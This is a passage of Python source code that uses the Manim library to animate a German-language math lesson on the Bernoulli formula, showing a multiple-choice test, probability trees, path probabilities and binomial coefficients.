answers_list])\r\n answers.arrange(DOWN, buff = 0.45, aligned_edge = LEFT)\r\n answers.to_edge(LEFT, buff = 1.5)\r\n answers.shift(0.75*DOWN)\r\n\r\n boxes = VGroup(*[Square() for x in range(4)])\r\n for box, answer in zip(boxes, answers):\r\n box.set(height = 0.5)\r\n box.set_color(TEAL_A)\r\n box.next_to(answer, LEFT, buff = 0.75, aligned_edge=UL)\r\n\r\n self.play(FadeIn(boxes, shift = RIGHT, lag_ratio = 0.1), run_time = 2)\r\n self.play(LaggedStartMap(FadeIn, answers, lag_ratio = 0.1), run_time = 2)\r\n self.wait()\r\n\r\n # randomize answer & highlight options\r\n cross = Cross(boxes[0], stroke_color = YELLOW_D, stroke_width = 3)\r\n def randomize_cross(mob):\r\n choices = range(4)\r\n num = random.choice(choices)\r\n mob.move_to(boxes[num])\r\n\r\n for x in range(len(answers)):\r\n highlight = answers[x]\r\n make_dark = [answers[i] for i in range(4) if i != x]\r\n self.play(\r\n FadeToColor(highlight, WHITE),\r\n *[FadeToColor(mob, DARK_GREY) for mob in make_dark], \r\n UpdateFromFunc(cross, randomize_cross),\r\n run_time = 3\r\n )\r\n self.wait()\r\n self.play(FadeToColor(answers, WHITE))\r\n self.wait(3)\r\n\r\n\r\n self.fade_out_group = VGroup(task1, uline, question, answers, cross)\r\n self.first_boxes = boxes\r\n self.body = body\r\n\r\n def pass_this_test(self):\r\n boxes = VGroup(*[self.get_row() for x in range(10)])\r\n boxes.arrange(DOWN, buff = 0.25)\r\n boxes.set_color(TEAL_A)\r\n\r\n for box, index in zip(self.first_boxes, range(4)):\r\n box.generate_target()\r\n box.target.become(boxes[0][index])\r\n\r\n numbers = VGroup(*[Tex(str(num)) for num in range(1, 11)])\r\n for num, row in zip(numbers, boxes):\r\n num.set(height = row.height - 0.25)\r\n num.next_to(row, LEFT, buff = 0.5)\r\n\r\n crosses = VGroup()\r\n for row in boxes:\r\n cross = Cross(boxes[0][0], stroke_color = YELLOW_D, stroke_width = 3)\r\n choices = range(4)\r\n value = random.choice(choices)\r\n\r\n cross.move_to(row[value])\r\n crosses.add(cross)\r\n\r\n bools = 3*[False] + 2*[True] + 3*[False] + [True] + [False]\r\n cac = get_checks_and_crosses(bools)\r\n for row, mark in zip(boxes, cac):\r\n mark.match_height(row)\r\n mark.next_to(row, RIGHT, buff = 0.5)\r\n\r\n\r\n self.play(\r\n FadeOut(self.fade_out_group, rate_func = squish_rate_func(smooth, 0, 0.4)),\r\n AnimationGroup(*[MoveToTarget(box) for box in self.first_boxes], lag_ratio = 0.05),\r\n LaggedStartMap(FadeIn, boxes[1:], lag_ratio = 0.1),\r\n run_time = 3\r\n )\r\n self.wait(0.5)\r\n\r\n self.play(\r\n LaggedStartMap(GrowFromCenter, crosses, lag_ratio = 0.1),\r\n FadeIn(numbers, shift = 0.5*RIGHT, lag_ratio = 0.1),\r\n run_time = 2\r\n )\r\n\r\n self.play(FadeIn(cac, shift = 0.5*LEFT, lag_ratio = 0.1), run_time = 1.5)\r\n self.wait()\r\n\r\n\r\n prop = ValueTracker(0)\r\n prop_dec = Integer(edge_to_fix = RIGHT, unit = \"\\\\%\")\r\n prop_dec.set_color(RED)\r\n prop_dec.set(height = 1)\r\n prop_dec.move_to(4*LEFT + 2.5*UP)\r\n prop_dec.add_updater(lambda dec: dec.set_value(prop.get_value()))\r\n prop_dec.add_updater(lambda dec: dec.set_color(self.parameter_to_color(prop.get_value(), 0, 80, [RED, GREEN])))\r\n\r\n mt = Tex(\"mehr als\")\r\n mt.set(width = prop_dec.width)\r\n mt.next_to(prop_dec, UP, buff = 0.1)\r\n\r\n self.add(prop_dec)\r\n self.play(\r\n prop.animate.set_value(80),\r\n Write(mt, rate_func = squish_rate_func(smooth, 0.75, 1)),\r\n run_time = 4\r\n )\r\n self.wait(0.5)\r\n\r\n\r\n certi = self.get_certificate()\r\n certi.next_to(prop_dec, DOWN, buff = 2.5)\r\n\r\n arrow = Arrow(prop_dec.get_bottom(), certi.get_top(), color = YELLOW_D)\r\n self.play(GrowArrow(arrow))\r\n\r\n\r\n self.play(LaggedStartMap(Create, certi, lag_ratio = 0.1), run_time = 2)\r\n self.play(DrawBorderThenFill(self.body.copy(), rate_func = rush_into), run_time = 5)\r\n self.wait(3)\r\n\r\n # functions \r\n def get_row(self, height = 0.5, n = 4):\r\n boxes = VGroup()\r\n for _ in range(n):\r\n box = Square(color = GREY_B, stroke_width = 2)\r\n box.set(height = height)\r\n boxes.add(box)\r\n boxes.arrange(RIGHT, buff = 0.25)\r\n \r\n return boxes\r\n\r\n def get_certificate(self):\r\n rect = Rectangle(width = 2, height = 2*1.414, stroke_width = 1.5)\r\n text = Tex(\"Zertifikat\")\r\n text.set(width = rect.width - 0.2)\r\n text.next_to(rect.get_top(), DOWN, buff = 0.2)\r\n\r\n lines = VGroup(*[Line() for x in range(10)])\r\n for line in lines:\r\n line.set(width = rect.width - 0.3)\r\n line.set_stroke(width = 1)\r\n lines.arrange(DOWN, buff = 0.1)\r\n\r\n passed = Tex(\"Bestanden\")\r\n passed.set_color(C_COLOR)\r\n passed.set(width = rect.width - 0.5)\r\n passed.next_to(rect.get_corner(DR), UL, aligned_edge=RIGHT)\r\n\r\n result = VGroup(rect, text, lines, passed)\r\n return result\r\n\r\n def parameter_to_color(self, value, min, max, colors):\r\n alpha = inverse_interpolate(min, max, value)\r\n index, sub_alpha = integer_interpolate(0, len(colors) - 1, alpha)\r\n\r\n return interpolate_color(colors[index], colors[index + 1], sub_alpha)\r\n\r\n\r\nclass IntroduceFormula(Scene):\r\n def construct(self):\r\n\r\n\r\n self.get_to_three_questions()\r\n self.explain_xek()\r\n self.bernoulli_trail()\r\n\r\n\r\n def get_to_three_questions(self):\r\n formula = MathTex(\r\n \"P\", \"(\", \"X\", \"=\", \"k\", \")\", \"=\",\r\n \"\\\\left(\", \"{\" + \"n\", \"\\\\over\", \"k\" + \"}\", \"\\\\right)\", \"\\\\cdot\", \r\n \"p^\", \"k\", \"\\\\cdot\", \r\n \"(\", \"1\", \"-\", \"p\", \")^\", \"{\" + \"n-k\" + \"}\"\r\n )\r\n formula.scale(1.5)\r\n formula.move_to(0.75*UP)\r\n formula.remove(formula.get_part_by_tex(\"\\\\over\"))\r\n formula.set_color_by_tex_to_color_map({\"p\": YELLOW_D, \"k\": C_COLOR, \"n-k\": X_COLOR})\r\n\r\n name = Tex(\"Bernoulli\", \"$-$\", \"Formel\")\\\r\n .set_color_by_gradient(GREEN, YELLOW_D, RED)\\\r\n .set_fill(GREY, 0.3)\\\r\n .set_stroke(width = 1.5)\\\r\n .set(width = formula.width)\\\r\n .to_edge(DOWN)\r\n\r\n self.play(Write(formula), run_time = 1.5)\r\n self.wait()\r\n sur_rects = VGroup(*[\r\n SurroundingRectangle(formula, buff = buff, stroke_width = 2).set_color([GREEN, YELLOW_D, RED])\r\n for buff in reversed(np.linspace(0.1, 0.55, 11))\r\n ])\r\n self.play(FadeIn(sur_rects, scale = 2, lag_ratio = 0.05), rate_func = lambda t: smooth(1-t), run_time = 2)\r\n self.play(DrawBorderThenFill(name, rate_func = rush_into), run_time = 2)\r\n self.wait()\r\n\r\n\r\n meaning_list = [\r\n \"Anzahl der\\\\\\\\ Erfolge\", \r\n \"Anzahl, die zu\\\\\\\\ $k$ Erfolgen führen\", \r\n \"Wkt. für \\\\\\\\ Erfolge\", \r\n \"Wkt. für \\\\\\\\ Misserfolge\"\r\n ]\r\n targets = [formula[2:5], formula[7:11], formula[12:14], formula[15:]]\r\n meanings = VGroup(*[Tex(mean) for mean in meaning_list])\r\n for tex, target, dir in zip(meanings, targets, [UP, DOWN, UP, DOWN]):\r\n tex.next_to(target, dir, buff = 0.75)\r\n\r\n target_rects = VGroup(*[\r\n DashedVMobject(SurroundingRectangle(obj, color = BLUE_E), num_dashes=50)\r\n for obj in targets\r\n ])\r\n\r\n self.play(\r\n LaggedStartMap(FadeIn, meanings, lag_ratio = 0.25, rate_func = there_and_back_with_pause),\r\n LaggedStartMap(Create, target_rects, lag_ratio = 0.25),\r\n run_time = 6\r\n )\r\n self.wait()\r\n\r\n\r\n www = VGroup(*[Tex(word, font_size = 72) for word in [\"Wann?\", \"Wie?\", \"Warum?\"]])\r\n www.arrange(RIGHT, buff = 1)\r\n www.to_edge(UP, buff = 0.75)\r\n self.play(\r\n AnimationGroup(\r\n *[ReplacementTransform(rect, word) for rect, word in zip(target_rects[1:], www)], \r\n lag_ratio = 0.2\r\n ),\r\n run_time = 4\r\n )\r\n self.wait()\r\n\r\n\r\n www.generate_target()\r\n www.target.arrange(RIGHT, buff = 2).scale(0.6).to_edge(UP, buff = 0.25)\r\n \r\n formula.save_state()\r\n formula.generate_target()\r\n formula.target.scale(0.5).to_edge(DOWN, buff = 0.25)\r\n \r\n xek = formula[2:5].copy()\r\n self.add(xek)\r\n self.play(\r\n MoveToTarget(www),\r\n MoveToTarget(formula), \r\n FadeOut(name, shift = 3*DOWN), \r\n run_time = 2\r\n )\r\n\r\n self.formula, self.xek, self.dash_rect = formula, xek, target_rects[0]\r\n\r\n def explain_xek(self):\r\n xeks = VGroup(*[MathTex(\"X\", \"=\", str(k)) for k in [0,1,2,3,4,5]])\r\n for tex in xeks:\r\n tex.scale(1.5)\r\n tex[-1].set_color(GREEN_A)\r\n xeks.arrange(DOWN)\r\n xeks[:2].next_to(self.xek, UP, buff = 0.35, aligned_edge=LEFT)\r\n xeks[2:].next_to(self.xek, DOWN, buff = 0.35, aligned_edge=LEFT)\r\n\r\n boxes = VGroup(*[get_row_of_boxes(height = 0.3, n = 4) for x in range(10)])\r\n boxes.arrange(DOWN)\r\n boxes.shift(3.5*RIGHT)\r\n\r\n correct = [1, 2, 2, 0, 3, 3, 1, 2, 0, 0]\r\n cross_places = [0, 2, 3, 1, 2, 3, 1, 0, 2, 3]\r\n bools = [False] + [True] + 3*[False] + 2*[True] + 3*[False]\r\n\r\n cross = Cross(boxes[0][0], stroke_color = YELLOW_D, stroke_width = 3)\r\n crosses = VGroup(*[cross.copy() for x in range(10)])\r\n cac = get_checks_and_crosses(bools)\r\n\r\n for mark, row in zip(cac, boxes):\r\n mark.match_height(row)\r\n mark.next_to(row, RIGHT, buff = 0.35)\r\n\r\n for row, i_correct, cross, i_place in zip(boxes, correct, crosses, cross_places):\r\n row[i_correct].generate_target()\r\n row[i_correct].target.set_fill(C_COLOR, 0.4)\r\n cross.move_to(row[i_place])\r\n\r\n self.play(LaggedStartMap(FadeIn, xeks, shift = RIGHT, lag_ratio = 0.1), run_time = 2.5)\r\n self.wait()\r\n self.play(FadeIn(boxes, lag_ratio = 0.1), run_time = 2)\r\n self.play(FadeIn(crosses, lag_ratio = 0.1), run_time = 2)\r\n self.play(\r\n AnimationGroup(\r\n *[MoveToTarget(row[i_correct]) for row, i_correct in zip(boxes, correct)], \r\n lag_ratio = 0.1\r\n ), \r\n run_time = 2\r\n )\r\n self.bring_to_front(crosses)\r\n self.wait()\r\n\r\n self.play(FadeIn(cac, shift = LEFT, lag_ratio = 0.1), run_time = 3)\r\n self.wait()\r\n\r\n num_of_succ = Tex(\"\\\\#\", CMARK_TEX, \" = \", \"3\", tex_template = myTemplate)\r\n num_of_succ.scale(1.5)\r\n num_of_succ.next_to(xeks[3], RIGHT, buff = 1)\r\n num_of_succ[:2].set_color(C_COLOR)\r\n self.play(self.dash_rect.animate.move_to(xeks[3]), run_time = 2)\r\n self.play(Write(num_of_succ))\r\n self.wait(2)\r\n\r\n\r\n self.boxes, self.crosses = boxes, crosses\r\n self.test_group = VGroup(boxes, crosses, cac)\r\n\r\n self.play(\r\n FadeOut(self.dash_rect), \r\n FadeOut(num_of_succ),\r\n FadeOut(xeks),\r\n FadeOut(self.xek), \r\n run_time = 3\r\n )\r\n\r\n def bernoulli_trail(self):\r\n first_row = get_row_of_boxes(height = 0.75)\r\n first_row[1].set_fill(C_COLOR, 0.4)\r\n first_row.move_to(2.25*LEFT + UP)\r\n cross = Cross(first_row[1], stroke_color = YELLOW_D, stroke_width = 3)\r\n\r\n bern_trail = Tex(\"Bernoulli\", \"$-$\", \"Kette\", \"?\", font_size = 60)\r\n bern_trail.next_to(first_row, UP)\r\n\r\n self.play(Write(bern_trail))\r\n self.wait()\r\n\r\n\r\n self.play(FadeIn(first_row, shift = 0.25 * RIGHT, lag_ratio = 0.1), run_time = 1.5)\r\n self.play(GrowFromCenter(cross), run_time = 1.5)\r\n self.wait()\r\n\r\n self.play(cross.animate.move_to(first_row[0]), run_time = 1.5)\r\n cmark = Tex(CMARK_TEX, color = C_COLOR, tex_template = myTemplate)\r\n xmark = Tex(XMARK_TEX, color = X_COLOR, tex_template = myTemplate)\r\n for mark, box in zip([xmark, cmark], first_row[:2]):\r\n mark.match_width(first_row[0])\r\n mark.next_to(box, DOWN)\r\n\r\n self.play(FadeIn(VGroup(cmark, xmark), shift = 0.5*UP, lag_ratio = 0.2), run_time = 2)\r\n self.wait(2)\r\n\r\n\r\n self.play(\r\n AnimationGroup(\r\n TransformFromCopy(first_row, self.boxes[0]), \r\n TransformFromCopy(cross, self.crosses[0]),\r\n lag_ratio = 0.2\r\n ), \r\n run_time = 3\r\n )\r\n self.wait()\r\n\r\n\r\n arrow_kwargs = {\"color\": PINK, \"stroke_width\": 2.5, \"tip_length\": 0.2}\r\n arrows = VGroup(*[CurvedArrow(self.boxes[k].get_left(), self.boxes[k+1].get_left(), **arrow_kwargs) for k in range(9)])\r\n arrows.shift(0.15*LEFT)\r\n\r\n braces = VGroup(*[Brace(self.boxes[:k], LEFT, buff = 0.75) for k in range(10)])\r\n braces_nums = VGroup(*[MathTex(str(k)).next_to(brace, LEFT) for k, brace in zip(range(10), braces)])\r\n\r\n for k in range(len(self.boxes) - 1):\r\n if k < 9:\r\n added_anims = [Create(arrows[k])]\r\n else:\r\n added_anims = []\r\n self.play(\r\n *added_anims,\r\n GrowFromCenter(self.crosses[k]), \r\n ReplacementTransform(braces[k], braces[k + 1]),\r\n ReplacementTransform(braces_nums[k], braces_nums[k + 1]),\r\n run_time = 0.5\r\n )\r\n self.wait(0.1)\r\n final_brace = Brace(self.boxes, LEFT, buff = 0.75)\r\n final_number = MathTex(\"10\").next_to(final_brace, LEFT)\r\n self.play(\r\n ReplacementTransform(braces[-1], final_brace), \r\n ReplacementTransform(braces_nums[-1], final_number), \r\n run_time = 0.5\r\n )\r\n self.wait(2)\r\n\r\n\r\n length = MathTex(\"n\", \"=\", \"10\")\r\n prob = MathTex(\"p\", \"=\", \"0{,}25\")\r\n prob[0].set_color(YELLOW_D)\r\n\r\n for mob in length, prob:\r\n mob.next_to(cmark, DOWN, buff = 0.75)\r\n mob.align_to(bern_trail, LEFT)\r\n prob.shift(0.75*DOWN)\r\n\r\n self.play(FadeIn(length, shift = LEFT), run_time = 3)\r\n self.wait()\r\n self.play(FadeIn(prob, shift = LEFT), run_time = 3)\r\n self.wait()\r\n\r\n sur_rects = VGroup(*[SurroundingRectangle(mob, color = BLUE_E) for mob in [VGroup(bern_trail, prob), self.formula]])\r\n self.play(Create(sur_rects[0]), run_time = 5)\r\n self.wait(0.5)\r\n self.play(ReplacementTransform(sur_rects[0], sur_rects[1]), run_time = 3)\r\n self.wait(3)\r\n\r\n\r\nclass ConnectToBinomTree(MovingCameraScene):\r\n def construct(self):\r\n\r\n self.setup_old_scene()\r\n self.binom_tree()\r\n self.pfad_probability(pfad_nums = [1, 4, 11, 24])\r\n self.calc_probability1()\r\n self.pfad_probability(pfad_nums = [0, 3, 8, 18])\r\n self.calc_probability2()\r\n self.bring_back_formula()\r\n\r\n def setup_old_scene(self):\r\n formula = get_general_bin_formula()\r\n formula.scale(0.75)\r\n formula.to_corner(DL)\r\n formula.save_state()\r\n formula.center().to_edge(DOWN, buff = 0.25)\r\n rect = SurroundingRectangle(formula, color = BLUE_E)\r\n\r\n www = VGroup(*[Tex(word, font_size = 72) for word in [\"Wann?\", \"Wie?\", \"Warum?\"]])\r\n www.arrange(RIGHT, buff = 2)\r\n www.scale(0.6).to_edge(UP, buff = 0.25)\r\n\r\n\r\n self.add(formula, rect, www)\r\n self.wait(2)\r\n\r\n\r\n formula.generate_target()\r\n formula.target.scale(4/3 * 1.5).center()\r\n rect.generate_target()\r\n rect.target.set(width = formula.target.width + 3).set(height = formula.target.height + 0.2).center()\r\n\r\n self.play(\r\n MoveToTarget(formula),\r\n MoveToTarget(rect, rate_func = rush_into),\r\n run_time = 3\r\n )\r\n self.play(\r\n FadeOut(rect, scale = 4, run_time = 1), \r\n FadeOut(www[0], shift = UP, run_time = 1.5),\r\n )\r\n self.wait(0.5)\r\n\r\n self.play(formula[12:].animate.shift(UP), run_time = 1.5)\r\n self.play(FadeOut(www[1], shift = UP))\r\n self.wait()\r\n\r\n self.play(\r\n formula[7:11].animate(rate_func = there_and_back_with_pause).shift(DOWN),\r\n FadeOut(www[2], shift = UP, rate_func = squish_rate_func(smooth, 0.5, 1)),\r\n formula[12:].animate(rate_func = squish_rate_func(smooth, 0.5, 1)).shift(DOWN),\r\n run_time = 4\r\n )\r\n self.wait()\r\n self.play(Restore(formula), run_time = 1.5)\r\n\r\n self.formula = formula\r\n\r\n def binom_tree(self):\r\n boxes = VGroup(*[get_row_of_boxes(height = 0.5, n = 4) for x in range(10)])\r\n boxes.arrange(DOWN)\r\n boxes.to_corner(UR)\r\n boxes.shift(0.75*LEFT)\r\n\r\n correct = [1, 2, 2, 0, 3, 3, 1, 2, 0, 0]\r\n cross_places = [0, 2, 3, 1, 2, 3, 1, 0, 2, 3]\r\n\r\n cross = Cross(boxes[0][0], stroke_color = YELLOW_D, stroke_width = 3)\r\n crosses = VGroup(*[cross.copy() for x in range(10)])\r\n\r\n bools = [False] + [True] + 3*[False] + 2*[True] + 3*[False]\r\n cac = get_checks_and_crosses(bools)\r\n for mark, row in zip(cac, boxes):\r\n mark.match_height(row)\r\n mark.next_to(row, RIGHT, buff = 0.35)\r\n\r\n for row, true_place, cross, cross_place in zip(boxes, correct, crosses, cross_places):\r\n row[true_place].generate_target()\r\n row[true_place].target.set_fill(C_COLOR, 0.4)\r\n cross.move_to(row[cross_place])\r\n\r\n self.play(LaggedStartMap(FadeIn, boxes, lag_ratio = 0.1), run_time = 3)\r\n self.wait()\r\n self.play(LaggedStartMap(GrowFromCenter, crosses, lag_ratio = 0.05), run_time = 3)\r\n self.wait()\r\n\r\n\r\n # build the tree\r\n tree_config = {\"width\": 6, \"height\": 6, \"num_events\": 4}\r\n tree = BinomTree(**tree_config)\r\n tree.shift(2*LEFT + 0.5*UP)\r\n\r\n #tree_nums = tree.get_pfad_nums()\r\n #self.add(tree_nums)\r\n\r\n path_indis = [0, 3, 8, 18]\r\n added_anims = [FocusOn(tree.lines[0], rate_func = squish_rate_func(smooth, 0.5, 1), run_time = 3)]\r\n for k in range(4):\r\n\r\n self.play(\r\n MoveToTarget(boxes[k][correct[k]]), \r\n *added_anims\r\n )\r\n self.wait()\r\n\r\n added_anims = [] # make sure not to Focus On line every time\r\n\r\n path_indi = path_indis[k]\r\n line = tree.lines[path_indi]\r\n self.play(Create(line), run_time = 1.5)\r\n\r\n cx_mark = tree.cx_marks[path_indi]\r\n self.play(GrowFromCenter(cx_mark), run_time = 1.5)\r\n self.wait()\r\n self.wait(2)\r\n\r\n\r\n # swap decisions\r\n new_cross_places = [1, 0, 2, 3, 1, 0, 2, 1, 3, 1]\r\n for cross, row, c_place in zip(crosses, boxes, new_cross_places):\r\n cross.generate_target()\r\n cross.target.move_to(row[c_place])\r\n\r\n self.play(LaggedStartMap(MoveToTarget, crosses, path_arc = np.pi/3, lag_ratio = 0.1), run_time = 5)\r\n self.wait()\r\n\r\n path_indis = [1,4,11,24]\r\n for k in range(4):\r\n self.play(Circumscribe(boxes[k][correct[k]], time_width = 0.75, fade_out = True, color = PINK))\r\n\r\n path_indi = path_indis[k]\r\n line = tree.lines[path_indi]\r\n self.play(Create(line), run_time = 1.5)\r\n\r\n cx_mark = tree.cx_marks[path_indi]\r\n self.play(GrowFromCenter(cx_mark), run_time = 1.5)\r\n self.wait()\r\n self.wait(2)\r\n\r\n tree_copy = tree.copy()\r\n self.play(FadeIn(tree_copy, lag_ratio = 0.1), run_time = 3)\r\n self.add(tree)\r\n self.remove(tree_copy)\r\n self.wait(3)\r\n\r\n # show big tree just to remove it afterwards\r\n big_tree = BinomTree(width = tree.width * 2.57, height = tree.height * 1.02, num_events = 10)\r\n big_tree.next_to(tree.get_left(), RIGHT, buff = 0)\r\n\r\n frame = self.camera.frame\r\n frame.save_state()\r\n\r\n self.play(\r\n FadeIn(big_tree.lines[30:], lag_ratio = 0.01), \r\n frame.animate.set(width = big_tree.width + 2).move_to(big_tree.get_center()),\r\n run_time = 4\r\n )\r\n self.wait()\r\n\r\n self.play(\r\n Restore(frame), \r\n FadeOut(big_tree.lines[30:], lag_ratio = 0.01), \r\n run_time = 4\r\n )\r\n self.wait()\r\n\r\n\r\n # get rid of boxes[4:]\r\n top_boxes = VGroup(boxes[:4], crosses[:4]).copy()\r\n top_boxes.generate_target()\r\n top_boxes.target.scale(0.6).to_corner(UL, buff = 0.2)\r\n self.remove(*boxes[:4], *crosses[:4])\r\n self.add(top_boxes)\r\n self.play(\r\n LaggedStartMap(FadeOut, boxes[4:], shift = 3*RIGHT, lag_ratio = 0.1),\r\n LaggedStartMap(FadeOut, crosses[4:], shift = 3*RIGHT, lag_ratio = 0.1),\r\n MoveToTarget(top_boxes, path_arc = np.pi),\r\n run_time = 3\r\n )\r\n self.wait()\r\n\r\n\r\n self.boxes, self.tree = top_boxes, tree\r\n\r\n def pfad_probability(self, pfad_nums):\r\n tree, boxes = self.tree, self.boxes\r\n\r\n # pfad_nums = [1,4,11,24]\r\n moving_dot = Dot(point = tree.lines[0].get_start()).set_fill(opacity = 0)\r\n pfad = tree.get_pfad(pfad_nums)\r\n trace = TracedPath(moving_dot.get_center, dissipating_time=0.75, stroke_opacity=[0, 1, 0], stroke_color = YELLOW_D, stroke_width = 8)\r\n\r\n\r\n self.add(trace)\r\n self.play(MoveAlongPath(moving_dot, pfad, run_time = 3))\r\n self.remove(trace)\r\n self.wait()\r\n\r\n tree_probs = tree.get_pfad_prob(texp = \"0.25\", texq = \"0.75\", use_prob_values=True)\r\n pfad_probs = [tree_probs[k] for k in pfad_nums]\r\n\r\n for k, num in enumerate(pfad_nums):\r\n self.play(\r\n FadeToColor(tree.lines[num], color = YELLOW_D),\r\n FadeIn(pfad_probs[k], scale = 0.5),\r\n )\r\n self.wait(0.5)\r\n self.wait()\r\n\r\n def calc_probability1(self):\r\n tree = self.tree\r\n\r\n calc = MathTex(\"0{,}25\", \"\\\\cdot\", \"0{,}75\", \"\\\\cdot\", \"0{,}25\", \"\\\\cdot\", \"0{,}75\")\\\r\n .next_to(tree.lines[24], RIGHT, buff = 0.75)\r\n\r\n self.play(ShowIncreasingSubsets(calc), run_time = 3)\r\n self.wait()\r\n\r\n calc2 = MathTex(\"0{,}25^\", \"2\", \"\\\\cdot\", \"0{,}75^\", \"2\")\\\r\n .move_to(calc, aligned_edge=DOWN)\r\n\r\n self.play(TransformMatchingTex(calc, calc2))\r\n self.wait(0.5)\r\n self.play(Circumscribe(calc2, color = YELLOW_D, time_width = 0.75, fade_out = True, run_time = 3))\r\n self.wait()\r\n\r\n self.result1 = calc2\r\n\r\n def calc_probability2(self):\r\n tree = self.tree\r\n calc = MathTex(\"0{,}75\", \"\\\\cdot\", \"0{,}25\", \"\\\\cdot\", \"0{,}75\", \"\\\\cdot\", \"0{,}75\")\\\r\n .next_to(tree.lines[18], RIGHT, buff = 0.75)\r\n\r\n self.play(ShowIncreasingSubsets(calc), run_time = 3)\r\n self.wait()\r\n\r\n calc2 = MathTex(\"0{,}25^\", \"1\", \"\\\\cdot\", \"0{,}75^\", \"3\")\\\r\n .move_to(calc, aligned_edge=DOWN)\r\n\r\n self.play(TransformMatchingTex(calc, calc2))\r\n self.wait(0.5)\r\n self.play(Circumscribe(calc2, color = YELLOW_D, time_width = 0.75, fade_out = True, run_time = 3))\r\n self.wait(2)\r\n\r\n self.result2 = calc2\r\n\r\n def bring_back_formula(self):\r\n formula, result1, result2 = self.formula, self.result1, self.result2\r\n\r\n formula.add_background_rectangle(buff = 0.25, opacity = 0.85)\r\n self.bring_to_front(formula)\r\n\r\n dest = result2.get_part_by_tex(\"\\\\cdot\").get_center() + 2*DOWN\r\n self.play(\r\n formula.animate.scale(4/3 * 1.25, about_point = formula[15].get_center()).shift(dest - formula[15].get_center()), \r\n run_time = 3\r\n )\r\n self.wait()\r\n\r\n\r\n cac1 = get_checks_and_crosses([True, False, True, False], width = result1.width)\r\n cac1.next_to(result1, UP)\r\n\r\n cac2 = get_checks_and_crosses([False, True, False, False], width = result2.width)\r\n cac2.next_to(result2, UP)\r\n\r\n\r\n\r\n\r\n # transform c_marks, x_marks into exponents first example\r\n self.play(FadeIn(cac1, shift = DOWN, lag_ratio = 0.1), run_time = 3)\r\n self.wait()\r\n\r\n self.play(\r\n FadeToColor(result1[0], YELLOW_D),\r\n FadeToColor(result1[1], C_COLOR), \r\n AnimationGroup(\r\n *[FadeOut(check, target_position = result1[1], path_arc = np.pi/3) for check in cac1 if check.positive],\r\n lag_ratio = 0.2\r\n ), \r\n run_time = 3\r\n )\r\n self.wait(0.5)\r\n\r\n\r\n self.play(\r\n FadeToColor(result1[4], X_COLOR), \r\n AnimationGroup(\r\n *[FadeOut(check, target_position = result1[4], path_arc = -np.pi/3) for check in cac1 if not check.positive],\r\n lag_ratio = 0.2\r\n ),\r\n run_time = 3\r\n )\r\n self.wait()\r\n\r\n\r\n # transform c_marks, x_marks into exponents first example\r\n self.play(FadeIn(cac2, shift = DOWN, lag_ratio = 0.1), run_time = 3)\r\n self.wait()\r\n\r\n\r\n self.play(\r\n FadeToColor(result2[0], YELLOW_D),\r\n FadeToColor(result2[1], C_COLOR), \r\n AnimationGroup(\r\n *[FadeOut(check, target_position = result2[1], path_arc = np.pi/3) for check in cac2 if check.positive],\r\n lag_ratio = 0.2\r\n ), \r\n run_time = 1.5\r\n )\r\n self.wait(0.5)\r\n\r\n self.play(\r\n FadeToColor(result2[4], X_COLOR), \r\n AnimationGroup(\r\n *[FadeOut(check, target_position = result2[4], path_arc = -np.pi/3) for check in cac2 if not check.positive],\r\n lag_ratio = 0.2\r\n ),\r\n run_time = 3\r\n )\r\n self.wait()\r\n\r\n\r\n\r\n # # highlight Exponent for success and failure\r\n self.play(Circumscribe(formula[14], color = PINK, shape = Circle, time_width = 0.75, run_time = 3))\r\n self.wait()\r\n\r\n self.play(\r\n *[\r\n Circumscribe(expo, color = PINK, shape = Circle, fade_in = True ,time_width = 0.75, run_time = 3) \r\n for expo in [result1[1], result2[1]]\r\n ],\r\n )\r\n self.wait()\r\n\r\n\r\n self.play(Circumscribe(formula[-1], color = PINK, shape = Circle, time_width = 0.75, fade_out = True, run_time = 3))\r\n self.wait()\r\n self.play(\r\n *[\r\n Circumscribe(expo, color = PINK, shape = Circle, time_width = 0.75, run_time = 3) \r\n for expo in [result1[4], result2[4], formula[-1]]\r\n ],\r\n )\r\n self.wait()\r\n\r\n\r\n # Fadeout result2 + this is not P(X=2)\r\n self.play(FadeOut(result2, shift = 2*RIGHT), run_time = 2)\r\n self.wait()\r\n\r\n not_equal = MathTex(\"\\\\neq\", color = RED)\\\r\n .scale(1.25)\\\r\n .next_to(result1, DOWN)\r\n\r\n text = MathTex(\"P\", \"(\", \"X\", \"=\", \"2\", \")\")\\\r\n .scale(1.25)\\\r\n .next_to(not_equal, DOWN)\r\n\r\n self.play(Write(not_equal))\r\n self.play(Write(text))\r\n self.wait(2)\r\n\r\n\r\n self.play(Circumscribe(formula[8:12], color = PINK, fade_out = True, run_time = 3))\r\n self.wait(3)\r\n\r\n\r\nclass NChooseK(MovingCameraScene):\r\n def construct(self):\r\n tree_config = {\"width\": 6, \"height\": 6, \"num_events\": 4}\r\n tree = self.tree = BinomTree(**tree_config)\r\n tree.shift(2*LEFT + 0.5*UP)\r\n\r\n\r\n self.choose_2_out_of_4()\r\n self.choose_1_out_of_4()\r\n self.how_many_are_there()\r\n\r\n\r\n def choose_2_out_of_4(self):\r\n tree = self.tree\r\n\r\n pfad_lists = [[1, 5, 12, 26], [1, 4, 11, 24], [1, 4, 10, 23], [0, 3, 9, 20], [0, 3, 8, 19], [0, 2, 7, 17]]\r\n two_pfads = VGroup(*[tree.get_pfad(numbers) for numbers in pfad_lists])\r\n self.add(two_pfads)\r\n self.add(tree.circles, tree.cx_marks)\r\n\r\n cx_remove = self.get_remove_pfad_nums_list(pfad_lists)\r\n self.remove(*[tree.cx_marks[k] for k in cx_remove])\r\n self.wait(2)\r\n\r\n\r\n # Moving Camera to tree \r\n self.camera.frame.save_state()\r\n self.play(\r\n self.camera.frame.animate.set(height = tree.height).move_to(tree).shift(1.75*RIGHT), \r\n run_time = 2\r\n )\r\n self.wait()\r\n\r\n\r\n # Add checks and crosses according to tree\r\n bool_lists = self.get_bool_lists(4, 2)\r\n cac_group = self.get_orientated_cac_group(bool_lists, two_pfads)\r\n\r\n add_anim = [ShowIncreasingSubsets(cac_group[0], run_time = 3)]\r\n self.animate_trace_along_path(pfad_lists[0], add_anim)\r\n self.wait()\r\n\r\n add_anim = [ShowIncreasingSubsets(cac_group[1], run_time = 3)]\r\n self.animate_trace_along_path(pfad_lists[1], add_anim)\r\n self.wait()\r\n\r\n\r\n for cac in cac_group[2:]:\r\n self.play(ShowIncreasingSubsets(cac))\r\n self.wait()\r\n\r\n c_list1 = [0,0,0,1,1,2] # this is super hacky\r\n c_list2 = [1,2,3,2,3,3] # ....\r\n self.play(\r\n AnimationGroup(\r\n 